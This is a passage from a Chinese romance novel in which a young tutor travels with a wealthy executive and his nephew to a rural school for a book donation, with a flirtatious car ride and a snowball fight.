嗯……春风得意。
比拿下国际项目还要满足。
他适时递话:“陆总,需不需要祝少和我一辆车?”
“不用,”陆忱迈开步子,嘱咐道,“注意分寸,别让她不自在。”
乔听月上楼喊祝承信,顺便检查他有没有按照她的要求带上练习册。
祝承信背着书包,唉声抱怨:“咱们是去做活动的,哪有时间写作业,晚上回来再写也来得及。”
乔听月有理有据道:“捐书只是活动的一部分,之后陆先生视察学校,和校领导开座谈会,这段时间写作业正好。”
祝承信反抗失败,噔噔噔快跑几步,把她落在后面。
乔听月追着他出门,就见陆忱站在车边,不自觉放慢脚步,抬手捋了下碎发,朝他走过去。
“陆先生,您怎么不上车?”
“等你,”陆忱对她伸出手,“冷不冷?”
乔听月的目光落在他掌心,再三确定自己手心没出汗,才把手搭上去。
“不冷,快上车吧。”
稍稍低下头,避开车架上车,抬眼对上祝承信亮晶晶的眼睛。
乔听月心间一颤,立刻想抽回手,不料被男人的手掌紧紧禁锢住,直到她彻底进入车厢才放开。
手掌分开时,她明显感觉掌心被什么划过,想来是陆忱指腹那层薄茧。
乔听月瞪着祝承信,色厉内茬道:“看什么,路上四个小时,还不趁机补觉。”
祝承信舒舒服服倒在后排,右小腿叠在左膝盖上,“哎呀,我睡着了,我什么都没看见。”
乔听月气结,偏偏想不出解释的说辞,就在这时,身侧座位一沉,红茶薄荷味强势地笼罩过来。
为了出行方便,陆忱换了一辆车,两人的座位连在一起,活动空间更足,她刚刚忙着和祝承信拌嘴,竟然没有第一时间发觉。
乔听月放轻呼吸,下一秒,整个人僵得像块木头。
陆忱倾身越过她身前,她只需稍稍撅一下嘴,就能贴到他的耳朵。
她当然没动,不过灼热的呼吸扑在他耳廓,不消多久,便染上些许颜色。
不知道是不是她的错觉,陆忱动作变快了,抽出隐藏的安全带插在安全扣里,试了试松紧,一气呵成后转身弄自己的安全带。
乔听月自认为隐蔽地做了个深呼吸。
她曾偶然撞见吴叔置办生活用品,其中一项就是红茶薄荷沐浴露,无怪乎他如此钟情,她只嗅到余香便克制不住地上头。
陆忱侧首,见少女脸色酡红,嘴角翘起浅浅的弧度,“晕不晕车?我准备了晕车药和晕车贴。”
乔听月心说你在我身边怎么可能晕车。
不过为了维护形象,她还是吃了药,见陆忱也吃了,问道:“您也晕车?”
“我不晕,”陆忱拿出文件,“还有点工作,尽量在车上做完,免得耽误事。”
乔听月肃然起敬,敢在车上看文字的都是强者。
不过陆忱如此敬业,她倒不好意思开口说路上要睡觉的事了。
车子启动后,陆忱和乔听月聊了几句活动流程和天气情况,之后便专心工作。
上了告诉,陆忱开了一场临时跨国会议。
乔听月边界感十足,戴了耳机,以示自己无心探听商业机密。
陆忱失笑,不知道该夸奖她的警惕,还是可怜自己,毕竟如此迟钝,且大部分时间油盐不进的女孩真是不多见了。
乔听月刷题时喜欢听音乐,歌单都是不打扰思绪的轻音乐,偶尔还有几首白噪音,听着听着,眼皮越来越沉。
“呼——”
陆忱肩膀忽然一沉,他戴着隔音耳机,依旧清晰地听见了少女清浅平稳的呼吸声,心脏骤然雀跃起来。
对面的人喊了他两声。
陆忱调整坐姿,轻轻扶住乔听月的头,让她靠得更舒服,接着声音低了几分:“不好意思,刚刚信号不好,断线了。”
后排,祝承信根本没睡着,睁开眼,正好看见舅舅的动作,呲了呲牙,赶紧又闭上眼睛。
腻腻歪歪,简直没眼看。
——
下了高速,县城的路坑坑洼洼不好走,陆忱的车减震很好,过坎的时候只能感受到柔和的起伏。
陆忱私心想让乔听月多睡一会,吩咐司机慢点开,尽量避开所有障碍。
不过乔听月还是醒了,在车上睡觉本就疲惫,更别提梦里跌宕起伏,晃得脑子晕乎乎的。
她缓缓睁开眼,思考自己身在何处,习惯性动了动颈椎,发现侧脸有东西卡着,动弹不了。
清醒片刻,她反应过来,卡住她的是陆忱的肩膀。
乔听月像个忽然绷紧的弹簧直起身体。
她这一动,陆忱睫毛颤了颤,也醒了过来。
他揉了下肩膀,声线微哑:“醒了?脖子疼不疼?”
“不疼,”乔听月回答,紧接着关心,“您肩膀累不累?”
陆忱垂下眼睫,视线停在她侧脸,靠近了些,“别紧张,愿意让你靠。”
他语调含笑,惺忪的睡眼尚且模糊,其中的宠溺清晰可见。
乔听月用手背蹭了下脸,暗骂自己没出息,陆忱说的都是暧昧期的平常话,怎么就受不住呢。
“嗯,”她看向窗外,道路很窄,两旁草树很多,“快到了吗?”
陆忱嗯了声,叫醒祝承信。
祝承信打了个哈欠,“到哪了?”
陆忱给他递纸,“快到了,把你口水擦擦。”
乔听月倏地看他肩膀,眼睛都快瞪出来,没发现水痕,顿时松了口气。
陆忱也给她递来东西,不是纸巾,是一只口罩。
“有点印子,下车有摄像,遮一遮。”
乔听月默默撕开包装戴上,瓮声瓮气地问:“遮住了吗?”
陆忱盯着她,仔仔细细瞧了一会儿,把人瞧得眼圈都红了。
“遮住了。”
乔听月差点就快恼了。
少女只露出一双水盈盈的圆眼,带着些松软的嗔怪,看得陆忱心神一荡。
他错开眼,勾住领口拽了下,想起稍后要摄像,抚了抚领带,在乔听月看不见的地方,手指用力握拳。
山路走了大概半小时,车子停下。
唐秘书先确定机位,和校方再次对了下流程,做完这些才来请陆忱下车。
陆氏集团的公益从不弄虚作假,搬书时,陆忱亲力亲为,带着随行员工忙活了小半小时,才和校领导去主席台。
乔听月和祝承信和集团员工站在正对主席台的位置,身后是老师和学生。
校领导长篇大论感谢陆氏集团和陆忱本人,说到最后还留了几滴眼泪。
轮到陆忱时,天上忽然飘起雪花。
陆忱全程脱稿,劣质音响并没有影响
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他磁性好听的嗓音,一开口,学生门便小声骚动起来。
祝承信啧了声,手肘撞了下乔听月,“我舅舅真有魅力,是吧?”
乔听月根本没理他,她抬头望着陆忱,听他谈起书籍内容,确是她悉心挑出来的几本。
这些书,是她在陆忱的书房,一本一本筛选出来的。
午后或是夜晚,身侧学生在做题,面前陆忱在办公,偶然抬头,他们总能对上视线。
好像很久前,陆忱就在偷偷看她。
思绪飘忽间,主席台上,陆忱对她投来视线。
恰好,雪花落在浓密睫毛上,触及体温,顷刻间融化成水,打湿她的视野。
陆忱在对她笑。
乔听月看不清,心脏却扑通扑通跳。
由于下雪,担心学生们免疫力差,精简了许多流程,陆忱被请到会议室开会。
教务处老师得到命令,给乔听月和祝承信在会议室旁边安排了一间办公室。
祝承信生无可恋地拉开书包,争取缓刑:“我看有学生扫雪去了,咱来出去帮帮忙?”
学校人工不足,学生扫雪是常事。
教导主任给他们送热水,乔听月问她:“那些孩子是几年级的?”
教导主任道:“五六年级都有,再小也干不了什么活,咱们这条件简陋,平时大扫除是老师带着学生一起干,不过学校面积小,孩子们累不着,有活都抢着干。”
乔听月眉眼弯弯,她喜欢孩子,尤其是白纸似的小孩,教育这样的小朋友十分有成就感。
“我们能去看看吗,不会影响你们扫雪的。”
教导主任有些为难,她收到消息,这一大一小是陆忱非常看重的人,千万不能怠慢。
若是冷着生病,影响了学校明年的资金,她万死难逃其咎。
“小孩闹腾,不好管。”
似是为了配合她的话,窗外传来小孩稚嫩的童音:“你别跑!吃我一球!”
雪越下越厚,竟是可以打雪仗了。
祝承信可劲撺掇:“去吧去吧,咱就去转转,你多久没看见这么多学生了。”
乔听月心动,不过还是约法三章:“看一会儿就回来写作业。”
祝承信点头,“我保证,我这人品你还信不过嘛。”
教导主任拦不住,只能带他们下楼。
乔听月刚迈出门,没等眺望雪景,一个软绵绵的雪球直直冲脸拍了过来。
她没反应过来,被雪球砸了个正着,小孩手劲小,雪球松软,轻飘飘的不算疼。
祝承信愣了下,没心没肺地大笑,冷空气窜进嗓子,捂着胸口咳嗽。
教导主任吓得手脚发麻,指着扔雪球的学生让他们过来道歉。
学生自知做错了事,低着脑袋走过来,直直站在台阶下面等教导主任训斥。
“老师对不起,我们不是故意的。”
他们也不知道乔听月是谁,不过见到不认识的,叫老师准没错。
乔听月抹掉脸上的雪花,弯腰挨个揉了揉头,还帮其中一个收紧帽绳,“没关系,老师不生气,搓雪球的时候要注意安全,不要把树枝或者尖锐物品搓进去。”
学生们齐齐点头,“我们知道了!”
乔听月笑道:“去玩吧。”
学生们跑远,教导主任又道歉,言语间明贬暗褒,将学生维护个彻底。
乔听月自然不会计较,安抚一番后,打算带祝承信回去。
结果这么一会儿功夫,他混到小学生群体中,正蹲在地上帮他们搓雪球。
祝承信察觉到乔听月看过来,把本要交给小学生的雪球收回来,朝她扔了过去。
乔听月躲得及时,见他还在搓,而且非常不识趣地对她露出挑衅的笑容。
在第二个雪球冲过来时,她一把接住,雪球在掌心破碎成沫。
“祝承信!你是不是想挨揍!”